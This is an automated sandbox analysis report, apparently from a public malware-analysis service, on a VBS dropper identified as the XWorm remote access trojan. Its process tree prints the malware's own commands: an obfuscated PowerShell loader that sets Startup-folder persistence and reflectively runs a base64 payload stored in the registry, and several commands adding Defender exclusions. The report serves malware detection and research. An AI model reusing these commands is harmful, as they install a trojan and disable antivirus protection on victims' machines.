Analysis
- max time kernel
147s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
28/03/2024, 02:23
General
- Target Menu_Injecter.vbs
- Size 55KB
- Sample240328-cvbpysda9v
- SHA256 f22f608b3f9ddfa9083fa09bc0cc8ea3e527ad6541a375653861d243c87f29a3
Malware Config
Extracted
-
xworm
-
5.0
-
ujtjGruX910oDXJg
-
Install_directory
%AppData%
-
install_file
XClient.exe
Signatures
- Detect Xworm Payload 1 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Blocklisted process makes network request 3 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Menu_Injecter.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Menu_Injecter.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ppp.vbs'; $respiratories = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $respiratories = -join $respiratories[-1..-$respiratories.Length];[<##>AppDomain<##>]::<##>('CariamaeurrentDomain'.replace('Cariamae','C'))<##>.<##>('Gaiload'.replace('Gail','L'))([Convert]::FromBase64String($respiratories))<##>.<##>('embusquentryPoint'.replace('embusque','E'))<##>.<##>('Inreflexsoke'.replace('reflexs','v'))($Null,$Null)<##>;2⤵
- Blocklisted process makes network request
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_0apnvken.2lp.ps1
memory/1316-26-0x000001CF2B180000-0x000001CF2B190000-memory.dmp
memory/1316-25-0x00007FF9572D0000-0x00007FF957D91000-memory.dmp
memory/1316-27-0x000001CF2B180000-0x000001CF2B190000-memory.dmp
memory/1316-28-0x000001CF2B180000-0x000001CF2B190000-memory.dmp
memory/1316-29-0x000001CF2B180000-0x000001CF2B190000-memory.dmp
memory/1316-32-0x00007FF9572D0000-0x00007FF957D91000-memory.dmp
memory/1988-35-0x000002747AA50000-0x000002747AA60000-memory.dmp
memory/1988-49-0x00007FF9572D0000-0x00007FF957D91000-memory.dmp
memory/1988-36-0x000002747AA50000-0x000002747AA60000-memory.dmp
memory/1988-34-0x00007FF9572D0000-0x00007FF957D91000-memory.dmp
memory/3432-50-0x000002426E8A0000-0x000002426E8B0000-memory.dmp
memory/3432-10-0x00007FF9572D0000-0x00007FF957D91000-memory.dmp
memory/3432-11-0x000002426E8A0000-0x000002426E8B0000-memory.dmp
memory/3432-47-0x00007FF9572D0000-0x00007FF957D91000-memory.dmp
memory/3432-13-0x0000024270CA0000-0x0000024270CE4000-memory.dmp
memory/3432-15-0x000002426E860000-0x000002426E870000-memory.dmp
memory/3432-5-0x000002426E820000-0x000002426E842000-memory.dmp
memory/3432-12-0x000002426E8A0000-0x000002426E8B0000-memory.dmp
memory/4308-68-0x00007FF9572D0000-0x00007FF957D91000-memory.dmp
memory/4308-70-0x000001D4E74C0000-0x000001D4E74D0000-memory.dmp
memory/4308-69-0x000001D4E74C0000-0x000001D4E74D0000-memory.dmp
memory/4308-81-0x000001D4E74C0000-0x000001D4E74D0000-memory.dmp
memory/4308-83-0x000001D4E74C0000-0x000001D4E74D0000-memory.dmp
memory/4308-85-0x00007FF9572D0000-0x00007FF957D91000-memory.dmp
memory/4588-53-0x0000018C56640000-0x0000018C56650000-memory.dmp
memory/4588-52-0x0000018C56640000-0x0000018C56650000-memory.dmp
memory/4588-64-0x0000018C56640000-0x0000018C56650000-memory.dmp
memory/4588-65-0x0000018C56640000-0x0000018C56650000-memory.dmp
memory/4588-67-0x00007FF9572D0000-0x00007FF957D91000-memory.dmp
memory/4588-51-0x00007FF9572D0000-0x00007FF957D91000-memory.dmp